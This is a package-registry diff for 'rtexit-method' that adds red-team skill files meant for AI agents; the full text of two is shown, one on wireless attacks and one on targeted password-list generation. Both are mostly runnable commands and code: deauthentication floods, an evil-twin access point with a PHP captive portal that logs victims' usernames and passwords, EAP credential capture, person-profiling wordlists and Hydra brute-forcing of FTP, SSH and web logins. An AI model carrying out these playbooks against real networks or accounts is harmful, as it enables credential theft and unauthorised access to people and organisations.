rtexit-method 0.1.4 → 0.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
|
@@ -0,0 +1,276 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-wireless-rogue-ap
|
|
3
|
+
description: "Wireless attack skill beyond basic cracking. Rogue access point creation with hostapd-wpe for EAP credential capture, Evil Twin attacks, deauthentication attacks for client forcing, Karma attack for automatic client association, PMKID attack for WPA2 cracking without client, WPA3 Dragonblood downgrade, and ARP spoofing on wireless networks. Use when testing wireless network security in authorized engagements."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-wireless-rogue-ap — Advanced Wireless Attacks
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Beyond WPA2 password cracking, wireless red teaming includes creating rogue access points to capture credentials, forcing clients off legitimate networks, and exploiting enterprise 802.1X authentication. This skill covers active wireless attacks requiring monitor-mode capable adapters.
|
|
11
|
+
|
|
12
|
+
**Required hardware:** Wireless adapter with monitor mode + injection support (Alfa AWUS036ACH, AWUS036NHA, or similar).
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Phase 1 — Wireless Recon
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Set adapter to monitor mode
|
|
20
|
+
airmon-ng check kill # Kill conflicting processes
|
|
21
|
+
airmon-ng start wlan0 # Creates wlan0mon
|
|
22
|
+
|
|
23
|
+
# Scan all networks
|
|
24
|
+
airodump-ng wlan0mon
|
|
25
|
+
|
|
26
|
+
# Target specific network (capture handshakes)
|
|
27
|
+
airodump-ng -c CHANNEL --bssid TARGET_BSSID -w capture wlan0mon
|
|
28
|
+
|
|
29
|
+
# Identify clients connected to target AP
|
|
30
|
+
airodump-ng wlan0mon | grep -A20 "TARGET_BSSID"
|
|
31
|
+
# CLIENT_MAC = connected devices
|
|
32
|
+
|
|
33
|
+
# Advanced: channel hopping + hidden SSID detection
|
|
34
|
+
airodump-ng --band abg wlan0mon # 2.4GHz + 5GHz
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## Phase 2 — WPA2 Attacks
|
|
40
|
+
|
|
41
|
+
### 2a — PMKID Attack (No Client Needed)
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
# PMKID = feature of RSN IE in beacon frames
|
|
45
|
+
# Can crack WPA2 without capturing a 4-way handshake
|
|
46
|
+
|
|
47
|
+
# Install hcxtools
|
|
48
|
+
apt install hcxtools hcxdumptool -y
|
|
49
|
+
|
|
50
|
+
# Capture PMKID
|
|
51
|
+
hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
|
|
52
|
+
|
|
53
|
+
# Convert to hashcat format
|
|
54
|
+
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
|
|
55
|
+
|
|
56
|
+
# Crack with hashcat
|
|
57
|
+
hashcat -a 0 -m 22000 hash.hc22000 /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
|
58
|
+
hashcat -a 3 -m 22000 hash.hc22000 '?d?d?d?d?d?d?d?d' # 8-digit PIN pattern
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### 2b — Deauthentication + Handshake Capture
|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
# Force clients to reconnect → capture 4-way handshake
|
|
65
|
+
# Terminal 1: capture
|
|
66
|
+
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
|
|
67
|
+
|
|
68
|
+
# Terminal 2: deauth (kick clients off AP)
|
|
69
|
+
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon
|
|
70
|
+
# -0 5 = send 5 deauth frames
|
|
71
|
+
# -c CLIENT_MAC = target specific client (or omit for broadcast)
|
|
72
|
+
|
|
73
|
+
# Verify handshake captured
|
|
74
|
+
aircrack-ng handshake-01.cap # Should show "WPA handshake: AA:BB:CC..."
|
|
75
|
+
|
|
76
|
+
# Crack
|
|
77
|
+
aircrack-ng -w rockyou.txt handshake-01.cap
|
|
78
|
+
hashcat -a 0 -m 22000 handshake-01.hc22000 rockyou.txt
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## Phase 3 — Rogue Access Point (Evil Twin)
|
|
84
|
+
|
|
85
|
+
```bash
|
|
86
|
+
# Create identical SSID/BSSID to target AP
|
|
87
|
+
# Force clients to connect to our AP via deauth
|
|
88
|
+
|
|
89
|
+
# Install hostapd + dnsmasq
|
|
90
|
+
apt install hostapd dnsmasq -y
|
|
91
|
+
|
|
92
|
+
# hostapd.conf — open AP with same SSID as target
|
|
93
|
+
cat > /tmp/hostapd.conf << 'EOF'
|
|
94
|
+
interface=wlan1 # Second wireless card for AP
|
|
95
|
+
driver=nl80211
|
|
96
|
+
ssid=TargetNetworkName
|
|
97
|
+
hw_mode=g
|
|
98
|
+
channel=6
|
|
99
|
+
macaddr_acl=0
|
|
100
|
+
ignore_broadcast_ssid=0
|
|
101
|
+
EOF
|
|
102
|
+
|
|
103
|
+
# dnsmasq.conf — DHCP + DNS for clients
|
|
104
|
+
cat > /tmp/dnsmasq.conf << 'EOF'
|
|
105
|
+
interface=wlan1
|
|
106
|
+
dhcp-range=192.168.1.100,192.168.1.200,255.255.255.0,12h
|
|
107
|
+
dhcp-option=3,192.168.1.1
|
|
108
|
+
dhcp-option=6,192.168.1.1
|
|
109
|
+
server=8.8.8.8
|
|
110
|
+
log-queries
|
|
111
|
+
log-dhcp
|
|
112
|
+
EOF
|
|
113
|
+
|
|
114
|
+
# Set up interface
|
|
115
|
+
ip addr add 192.168.1.1/24 dev wlan1
|
|
116
|
+
ip link set wlan1 up
|
|
117
|
+
|
|
118
|
+
# Start AP + DHCP
|
|
119
|
+
hostapd /tmp/hostapd.conf &
|
|
120
|
+
dnsmasq -C /tmp/dnsmasq.conf --no-daemon &
|
|
121
|
+
|
|
122
|
+
# Enable forwarding (optional — give clients internet access to avoid suspicion)
|
|
123
|
+
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
124
|
+
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|
125
|
+
|
|
126
|
+
# Deauth clients from real AP (force them to our AP)
|
|
127
|
+
aireplay-ng -0 0 -a REAL_AP_BSSID wlan0mon # 0 = continuous deauth
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
## Phase 4 — Captive Portal Credential Harvest
|
|
133
|
+
|
|
134
|
+
```bash
|
|
135
|
+
# After clients connect to Evil Twin → redirect all HTTP to captive portal
|
|
136
|
+
|
|
137
|
+
# Install apache2 + PHP
|
|
138
|
+
apt install apache2 php -y
|
|
139
|
+
|
|
140
|
+
# Create portal page (mimics target network's login page)
|
|
141
|
+
cat > /var/www/html/index.php << 'EOF'
|
|
142
|
+
<?php
|
|
143
|
+
if ($_POST) {
|
|
144
|
+
$user = $_POST['username'] ?? '';
|
|
145
|
+
$pass = $_POST['password'] ?? '';
|
|
146
|
+
$ip = $_SERVER['REMOTE_ADDR'];
|
|
147
|
+
file_put_contents('/tmp/creds.txt', "$ip | $user | $pass\n", FILE_APPEND);
|
|
148
|
+
// Optional: proxy credentials to real network
|
|
149
|
+
header("Location: https://google.com");
|
|
150
|
+
exit;
|
|
151
|
+
}
|
|
152
|
+
?>
|
|
153
|
+
<html><body>
|
|
154
|
+
<h2>WiFi Login</h2>
|
|
155
|
+
<form method="POST">
|
|
156
|
+
Username: <input name="username"><br>
|
|
157
|
+
Password: <input name="password" type="password"><br>
|
|
158
|
+
<input type="submit" value="Connect">
|
|
159
|
+
</form>
|
|
160
|
+
</body></html>
|
|
161
|
+
EOF
|
|
162
|
+
|
|
163
|
+
# Redirect ALL web traffic to captive portal
|
|
164
|
+
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1:80
|
|
165
|
+
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.1.1:80
|
|
166
|
+
|
|
167
|
+
# Monitor captured credentials
|
|
168
|
+
tail -f /tmp/creds.txt
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## Phase 5 — Enterprise 802.1X EAP Credential Capture
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
# Enterprise WPA uses EAP (PEAP/TTLS) — user enters domain credentials
|
|
177
|
+
# Rogue AP can capture NTLMv2 hashes or cleartext credentials
|
|
178
|
+
|
|
179
|
+
# hostapd-wpe (WiFi Pineapple Enterprise — captures EAP creds)
|
|
180
|
+
apt install hostapd-wpe -y
|
|
181
|
+
|
|
182
|
+
# hostapd-wpe.conf
|
|
183
|
+
cat > /tmp/hostapd-wpe.conf << 'EOF'
|
|
184
|
+
interface=wlan1
|
|
185
|
+
driver=nl80211
|
|
186
|
+
ssid=CorpWiFi # Same SSID as enterprise network
|
|
187
|
+
hw_mode=g
|
|
188
|
+
channel=6
|
|
189
|
+
wpa=3
|
|
190
|
+
wpa_key_mgmt=WPA-EAP
|
|
191
|
+
ieee8021x=1
|
|
192
|
+
eap_server=1
|
|
193
|
+
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
|
|
194
|
+
ca_cert=/etc/hostapd-wpe/certs/ca.pem
|
|
195
|
+
server_cert=/etc/hostapd-wpe/certs/server.pem
|
|
196
|
+
private_key=/etc/hostapd-wpe/certs/server.key
|
|
197
|
+
dh_file=/etc/hostapd-wpe/certs/dh
|
|
198
|
+
EOF
|
|
199
|
+
|
|
200
|
+
hostapd-wpe /tmp/hostapd-wpe.conf
|
|
201
|
+
|
|
202
|
+
# Output:
|
|
203
|
+
# mschapv2: Wed Aug 14 12:34:56 2024
|
|
204
|
+
# username: CORP\john.smith
|
|
205
|
+
# challenge: 5d79f9...
|
|
206
|
+
# response: 4a3b2c...
|
|
207
|
+
|
|
208
|
+
# Crack captured MSCHAPV2 hash
|
|
209
|
+
# Format: username:::challenge:response:
|
|
210
|
+
asleap -C 5d79f9... -R 4a3b2c... -W rockyou.txt
|
|
211
|
+
# Or: hashcat -m 5500 (NTLMv1) / -m 5600 (NTLMv2)
|
|
212
|
+
hashcat -a 0 -m 5600 mschapv2.hash rockyou.txt
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
## Phase 6 — Karma Attack (Automatic Client Association)
|
|
218
|
+
|
|
219
|
+
```bash
|
|
220
|
+
# Clients probe for known networks — Karma responds to all probes
|
|
221
|
+
# bettercap Karma module
|
|
222
|
+
|
|
223
|
+
bettercap -iface wlan0mon
|
|
224
|
+
|
|
225
|
+
# In bettercap console:
|
|
226
|
+
wifi.recon on
|
|
227
|
+
set wifi.ap.ssid "" # Respond to any SSID
|
|
228
|
+
set wifi.ap.channel 6
|
|
229
|
+
set wifi.ap.encryption none # Open AP
|
|
230
|
+
wifi.ap on # Enable Karma behavior
|
|
231
|
+
|
|
232
|
+
# Monitor connections
|
|
233
|
+
events.stream on
|
|
234
|
+
net.show
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
---
|
|
238
|
+
|
|
239
|
+
## Phase 7 — WPA3 Dragonblood Downgrade
|
|
240
|
+
|
|
241
|
+
```bash
|
|
242
|
+
# Force WPA3-capable clients to use WPA2 (downgrade)
|
|
243
|
+
# WPA3 requires SAE (Simultaneous Authentication of Equals)
|
|
244
|
+
# If AP supports both WPA2 and WPA3 (transition mode) → downgrade
|
|
245
|
+
|
|
246
|
+
# Create WPA2-only AP with same SSID
|
|
247
|
+
# Clients configured for WPA3-SAE may fall back to WPA2-PSK
|
|
248
|
+
# → capture handshake → crack as regular WPA2
|
|
249
|
+
|
|
250
|
+
# Dragonblood timing attack (if WPA3-SAE only)
|
|
251
|
+
git clone https://github.com/vanhoefm/dragonblood
|
|
252
|
+
python3 dragonslayer.py -i wlan0mon --target BSSID
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
---
|
|
256
|
+
|
|
257
|
+
## Skill Levels
|
|
258
|
+
|
|
259
|
+
**BEGINNER:** PMKID capture + hashcat cracking · airodump-ng recon
|
|
260
|
+
|
|
261
|
+
**INTERMEDIATE:** Evil Twin + captive portal credential harvest · Deauth + handshake capture
|
|
262
|
+
|
|
263
|
+
**ADVANCED:** hostapd-wpe for EAP/PEAP enterprise credential capture · Karma attack
|
|
264
|
+
|
|
265
|
+
**EXPERT:** WPA3 Dragonblood · Custom EAP credential relay · Automated wireless red team framework
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
+
## References
|
|
270
|
+
|
|
271
|
+
- aircrack-ng: https://www.aircrack-ng.org
|
|
272
|
+
- hostapd-wpe: https://github.com/OpenSecurityResearch/hostapd-wpe
|
|
273
|
+
- hcxtools: https://github.com/ZerBea/hcxtools
|
|
274
|
+
- bettercap: https://www.bettercap.org
|
|
275
|
+
- Dragonblood: https://dragonbloodattack.com
|
|
276
|
+
- MITRE T1465: https://attack.mitre.org/techniques/T1465/
|
|
@@ -0,0 +1,288 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-wordlist-generation
|
|
3
|
+
description: "Targeted wordlist and password list generation skill for authorized engagements. CeWL for website-based wordlist generation, CUPP for person-based password profiling, custom hashcat rules creation, keyboard walk patterns, company-specific mutation rules, OSINT-fed password generation, and SecLists curation for specific targets. Use before password spraying, brute-force, or hash cracking to maximize hit rate."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-wordlist-generation — Targeted Wordlist & Password Generation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Generic wordlists (rockyou.txt) have low success rates against modern enterprise passwords. Targeted wordlists built from OSINT about the organization, target person, or environment have dramatically higher success rates. This skill builds custom lists before spraying or cracking.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Method 1 — CeWL (Company Website Wordlist)
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# CeWL crawls target website and extracts unique words
|
|
18
|
+
apt install cewl -y
|
|
19
|
+
|
|
20
|
+
# Basic crawl
|
|
21
|
+
cewl https://corp.com -d 3 -m 6 -w corp-base.txt
|
|
22
|
+
# -d 3 = crawl 3 levels deep
|
|
23
|
+
# -m 6 = minimum word length 6
|
|
24
|
+
|
|
25
|
+
# Include numbers
|
|
26
|
+
cewl https://corp.com -d 3 -m 5 --with-numbers -w corp-nums.txt
|
|
27
|
+
|
|
28
|
+
# Crawl multiple pages
|
|
29
|
+
for url in "https://corp.com" "https://corp.com/about" "https://corp.com/team"; do
|
|
30
|
+
cewl $url -d 2 -m 5 >> corp-all.txt
|
|
31
|
+
done
|
|
32
|
+
sort -u corp-all.txt > corp-unique.txt
|
|
33
|
+
|
|
34
|
+
# What CeWL extracts:
|
|
35
|
+
# Company name, product names, technology terms
|
|
36
|
+
# Employee names from team pages
|
|
37
|
+
# Location names, event names
|
|
38
|
+
# Industry jargon
|
|
39
|
+
|
|
40
|
+
# Typical output words: Synergy2024, ProjectApollo, TeamSpirit, CorporateIT
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
---
|
|
44
|
+
|
|
45
|
+
## Method 2 — CUPP (Person-Targeted Password Generation)
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
# CUPP generates passwords based on personal info about a target
|
|
49
|
+
pip3 install cupp
|
|
50
|
+
# Or: git clone https://github.com/Mebus/cupp
|
|
51
|
+
|
|
52
|
+
python3 cupp.py -i # Interactive mode
|
|
53
|
+
|
|
54
|
+
# Enter collected OSINT:
|
|
55
|
+
# First name: John
|
|
56
|
+
# Surname: Smith
|
|
57
|
+
# Nickname: JSmith
|
|
58
|
+
# Birthdate: 15031985
|
|
59
|
+
# Partner's name: Sarah
|
|
60
|
+
# Partner's birthdate: 22071987
|
|
61
|
+
# Child name: Emma
|
|
62
|
+
# Child birthdate: 05092010
|
|
63
|
+
# Pet name: Buddy
|
|
64
|
+
# Company: Accenture
|
|
65
|
+
|
|
66
|
+
# Output: john.txt (thousands of variations)
|
|
67
|
+
# Examples: John1985!, Smith@1985, JSmith15031985, Buddy2024!
|
|
68
|
+
|
|
69
|
+
# CUPP also adds mutations: l33t speak, years, symbols
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
---
|
|
73
|
+
|
|
74
|
+
## Method 3 — Custom Hashcat Rules
|
|
75
|
+
|
|
76
|
+
```bash
|
|
77
|
+
# Hashcat rules = transformations applied to each word in a list
|
|
78
|
+
# Best64.rule ships with hashcat — extend it for corporate patterns
|
|
79
|
+
|
|
80
|
+
# Common corporate password patterns (from breach data analysis):
|
|
81
|
+
# CompanyName + Year + ! (Corp2024!)
|
|
82
|
+
# Season + Year + ! (Summer2024!)
|
|
83
|
+
# Month + Year (January2024)
|
|
84
|
+
# Name + 123! (Smith123!)
|
|
85
|
+
# Welcome + variation (Welcome1!, W3lcome!)
|
|
86
|
+
|
|
87
|
+
# Create corp_rules.rule
|
|
88
|
+
cat > /opt/rules/corp_rules.rule << 'EOF'
|
|
89
|
+
# Append current and prior years with symbols
|
|
90
|
+
$2$0$2$4$!
|
|
91
|
+
$2$0$2$3$!
|
|
92
|
+
$2$0$2$4$@
|
|
93
|
+
$2$0$2$3$@
|
|
94
|
+
$2$0$2$4$#
|
|
95
|
+
$1$2$3$!
|
|
96
|
+
$1$2$3$@
|
|
97
|
+
$!$1$2$3
|
|
98
|
+
$@$1$2$3
|
|
99
|
+
# Capitalize first letter
|
|
100
|
+
c
|
|
101
|
+
# Capitalize first, append year
|
|
102
|
+
c$2$0$2$4
|
|
103
|
+
c$2$0$2$4$!
|
|
104
|
+
# l33t substitutions
|
|
105
|
+
sa@ se3 si! so0 ss$ st+
|
|
106
|
+
# Reverse
|
|
107
|
+
r
|
|
108
|
+
# Duplicate
|
|
109
|
+
d
|
|
110
|
+
# Append common suffixes
|
|
111
|
+
$!$!
|
|
112
|
+
$1$2$3$4
|
|
113
|
+
$9$9$9
|
|
114
|
+
EOF
|
|
115
|
+
|
|
116
|
+
# Apply rules to wordlist
|
|
117
|
+
hashcat --stdout corp-base.txt -r /opt/rules/corp_rules.rule | head -100
|
|
118
|
+
hashcat --stdout corp-base.txt -r /opt/rules/corp_rules.rule \
|
|
119
|
+
-r /usr/share/hashcat/rules/best64.rule > corp-mutated.txt
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## Method 4 — OSINT-Fed Password Generation
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# Gather OSINT → build hyper-targeted list
|
|
128
|
+
|
|
129
|
+
# From LinkedIn company page:
|
|
130
|
+
# - Founded year, HQ city, CEO name, product names, recent news
|
|
131
|
+
|
|
132
|
+
# From employee OSINT:
|
|
133
|
+
# - Names, birthdays, pet names, car models, spouse names
|
|
134
|
+
# (Sources: social media, HaveIBeenPwned, breach databases)
|
|
135
|
+
|
|
136
|
+
# Generate from company info
|
|
137
|
+
python3 << 'EOF'
|
|
138
|
+
company = "Accenture"
|
|
139
|
+
city = "NewYork"
|
|
140
|
+
ceo = "JulieSweetney"
|
|
141
|
+
founded = "1989"
|
|
142
|
+
products = ["myNav", "SynOps", "Velocity"]
|
|
143
|
+
current_year = "2024"
|
|
144
|
+
|
|
145
|
+
# Generate base words
|
|
146
|
+
words = [company, city, ceo] + products
|
|
147
|
+
words += [company + founded, company + current_year]
|
|
148
|
+
|
|
149
|
+
# Apply common mutations
|
|
150
|
+
mutations = []
|
|
151
|
+
for w in words:
|
|
152
|
+
mutations += [
|
|
153
|
+
w,
|
|
154
|
+
w.lower(),
|
|
155
|
+
w.upper(),
|
|
156
|
+
w.capitalize(),
|
|
157
|
+
w + "!",
|
|
158
|
+
w + "1",
|
|
159
|
+
w + "123",
|
|
160
|
+
w + "123!",
|
|
161
|
+
w + current_year,
|
|
162
|
+
w + current_year + "!",
|
|
163
|
+
w + "@" + current_year,
|
|
164
|
+
w.replace("a","@").replace("e","3").replace("i","!").replace("o","0"),
|
|
165
|
+
]
|
|
166
|
+
|
|
167
|
+
with open("targeted.txt", "w") as f:
|
|
168
|
+
for m in sorted(set(mutations)):
|
|
169
|
+
f.write(m + "\n")
|
|
170
|
+
print(f"Generated {len(set(mutations))} passwords")
|
|
171
|
+
EOF
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
---
|
|
175
|
+
|
|
176
|
+
## Method 5 — Keyboard Walk Patterns
|
|
177
|
+
|
|
178
|
+
```bash
|
|
179
|
+
# Many people use keyboard walks: qwerty, 1qaz2wsx, etc.
|
|
180
|
+
pip3 install kwprocessor
|
|
181
|
+
# github.com/hashcat/kwprocessor
|
|
182
|
+
|
|
183
|
+
# Generate keyboard walk patterns
|
|
184
|
+
kwp basechars/full.base keymaps/en-us.keymap routes/2-to-10-max-3-direction-changes.route -o keyboard_walks.txt
|
|
185
|
+
|
|
186
|
+
# Common keyboard walks (pre-built in wordlists):
|
|
187
|
+
# qwerty, qwerty123, qwerty!, 1234567890, !QAZ2wsx
|
|
188
|
+
# 1qaz2wsx, 1q2w3e4r, zxcvbn, !@#$%^&*
|
|
189
|
+
|
|
190
|
+
# Add to your combined list
|
|
191
|
+
cat /opt/SecLists/Passwords/Keyboard-Combinations.txt >> combined.txt
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
---
|
|
195
|
+
|
|
196
|
+
## Method 6 — Wordlist Combination & Optimization
|
|
197
|
+
|
|
198
|
+
```bash
|
|
199
|
+
# Combine all generated lists
|
|
200
|
+
cat corp-unique.txt corp-mutated.txt targeted.txt keyboard_walks.txt \
|
|
201
|
+
/opt/SecLists/Passwords/Common-Credentials/top-passwords-shortlist.txt \
|
|
202
|
+
| sort -u > final_spray_list.txt
|
|
203
|
+
|
|
204
|
+
wc -l final_spray_list.txt # Check size
|
|
205
|
+
|
|
206
|
+
# For password spraying (keep small — 10-50 passwords max to avoid lockout)
|
|
207
|
+
# Sort by most likely: seasonal > company > common
|
|
208
|
+
head -20 final_spray_list.txt > spray_top20.txt
|
|
209
|
+
|
|
210
|
+
# For hash cracking (large list OK)
|
|
211
|
+
# Order by probability (hashcat --keyspace for optimization)
|
|
212
|
+
|
|
213
|
+
# Remove passwords that definitely don't meet policy
|
|
214
|
+
# (if you know the policy: min 8 chars, must have uppercase+number)
|
|
215
|
+
python3 << 'EOF'
|
|
216
|
+
import re
|
|
217
|
+
|
|
218
|
+
with open("final_spray_list.txt") as f:
|
|
219
|
+
words = f.read().splitlines()
|
|
220
|
+
|
|
221
|
+
def meets_policy(p):
|
|
222
|
+
return (len(p) >= 8 and
|
|
223
|
+
re.search(r'[A-Z]', p) and
|
|
224
|
+
re.search(r'[0-9]', p))
|
|
225
|
+
|
|
226
|
+
filtered = [w for w in words if meets_policy(w)]
|
|
227
|
+
with open("policy_filtered.txt", "w") as f:
|
|
228
|
+
f.write("\n".join(filtered))
|
|
229
|
+
print(f"After policy filter: {len(filtered)} passwords")
|
|
230
|
+
EOF
|
|
231
|
+
|
|
232
|
+
# Hashcat mask attack (pattern-based — covers what wordlists miss)
|
|
233
|
+
# ?u = uppercase, ?l = lowercase, ?d = digit, ?s = special
|
|
234
|
+
# Pattern: Capital + 6 lowercase + 4 digits + symbol (very common)
|
|
235
|
+
hashcat -a 3 -m 1000 hashes.txt '?u?l?l?l?l?l?l?d?d?d?d?s' --increment
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
---
|
|
239
|
+
|
|
240
|
+
## Method 7 — Default Credential Lists
|
|
241
|
+
|
|
242
|
+
```bash
|
|
243
|
+
# For network devices, printers, IoT devices, web consoles
|
|
244
|
+
# These are separate from user password lists
|
|
245
|
+
|
|
246
|
+
# Tools & lists
|
|
247
|
+
# SecLists/Passwords/Default-Credentials/
|
|
248
|
+
ls /opt/SecLists/Passwords/Default-Credentials/
|
|
249
|
+
# default-passwords.csv
|
|
250
|
+
# ssh-betterdefaultpasslist.txt
|
|
251
|
+
# medical-devices.txt
|
|
252
|
+
# telnet-betterdefaultpasslist.txt
|
|
253
|
+
|
|
254
|
+
# Custom default cred testing with Hydra
|
|
255
|
+
hydra -C /opt/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt \
|
|
256
|
+
TARGET_IP ftp
|
|
257
|
+
|
|
258
|
+
hydra -C /opt/SecLists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt \
|
|
259
|
+
TARGET_IP ssh
|
|
260
|
+
|
|
261
|
+
# Web panels
|
|
262
|
+
hydra -L /opt/SecLists/Usernames/top-usernames-shortlist.txt \
|
|
263
|
+
-P /opt/SecLists/Passwords/Default-Credentials/default-passwords.csv \
|
|
264
|
+
TARGET_IP http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
+
## Skill Levels
|
|
270
|
+
|
|
271
|
+
**BEGINNER:** CeWL + append year/symbol mutations · Use SecLists default passwords · top-20 spray list
|
|
272
|
+
|
|
273
|
+
**INTERMEDIATE:** CUPP for person-targeted lists · Custom hashcat rules · Policy-aware filtering
|
|
274
|
+
|
|
275
|
+
**ADVANCED:** Full OSINT-fed generation pipeline · Keyboard walks · Combined cracking strategy (wordlist → rules → masks)
|
|
276
|
+
|
|
277
|
+
**EXPERT:** ML-based password prediction from breach data · Context-aware rule generation · Real-time adaptive cracking
|
|
278
|
+
|
|
279
|
+
---
|
|
280
|
+
|
|
281
|
+
## References
|
|
282
|
+
|
|
283
|
+
- CeWL: https://github.com/digininja/CeWL
|
|
284
|
+
- CUPP: https://github.com/Mebus/cupp
|
|
285
|
+
- kwprocessor: https://github.com/hashcat/kwprocessor
|
|
286
|
+
- hashcat rules: https://hashcat.net/wiki/doku.php?id=rule_based_attack
|
|
287
|
+
- SecLists: https://github.com/danielmiessler/SecLists
|
|
288
|
+
- MITRE T1110: https://attack.mitre.org/techniques/T1110/
|